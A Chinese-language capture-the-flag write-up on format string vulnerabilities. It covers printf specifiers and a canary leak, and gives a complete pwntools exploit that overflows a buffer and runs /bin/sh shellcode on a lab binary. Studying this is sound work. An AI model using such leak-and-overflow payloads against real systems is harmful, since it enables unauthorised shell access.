格式化字符串漏洞
格式化字符串漏洞原理
首先了解一下什么是格式化字符串:格式化字符串是用来告诉程序如何进行格式化输出的说明符。
引用参考文件的内容。附上
https://veritas501.space/2017/04/28/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/#more.
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),
%$hn表示写入的地址空间为2字节,
%$hhn表示写入的地址空间为1字节,
%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
首先第一步还是检查一下
发现没有开NX,可以用shellcode,开了Canary,
把题放到IDA中,反编译看一下主函数代码
然后在get_message函数中有个printf函数。我们发现输出没有标明输出的类型,这就造成了一个漏洞
我们就找到这个printf的地址,在此下断点
下面用gdb进行调试
入栈
然后就一直回车知道看到栈底
我们知道这个canary位于栈底上方一点
我们要算一下Canary的地址和栈底的地址
转换为十进制
因为这个是32位的,所以是4个字节4个字节的
136/4=34
124/4=31
所以栈底的地址是33,canary的地址是30(从零开始计数)
from pwn import *
shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
"\x0b\xcd\x80\n"
context.log_level='debug'
p=process("./pwn1")
#p=remote('172.16.80.240',8000)
#########################leak canary,prev_ebp_addr################
p.recvuntil('name:') #接收信息直到name为止
p.sendline('%p.'*40)
leak_data=p.recvuntil('messages:') #接收信息直到messages为止
address=leak_data.split('.') #用点分隔
for i in range(len(address)):
print str(i)+':'+str(address[i]) #得到地址
canary=address[30] #canary地址
print "canary="+canary
prev_ebp_addr=address[33] #栈底地址
print "stack_addr="+prev_ebp_addr
#########################get shellcode_addr########################
shellcode_addr=int(prev_ebp_addr,16)-144+0x8
#########################send shellcode and get shell##############
payload='a'*100+p32(int(canary,16))+'A'*12+p32(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()
“shellcode_addr=int(prev_ebp_addr,16)-144+0x8”
144是栈底的虚拟地址和真实地址之差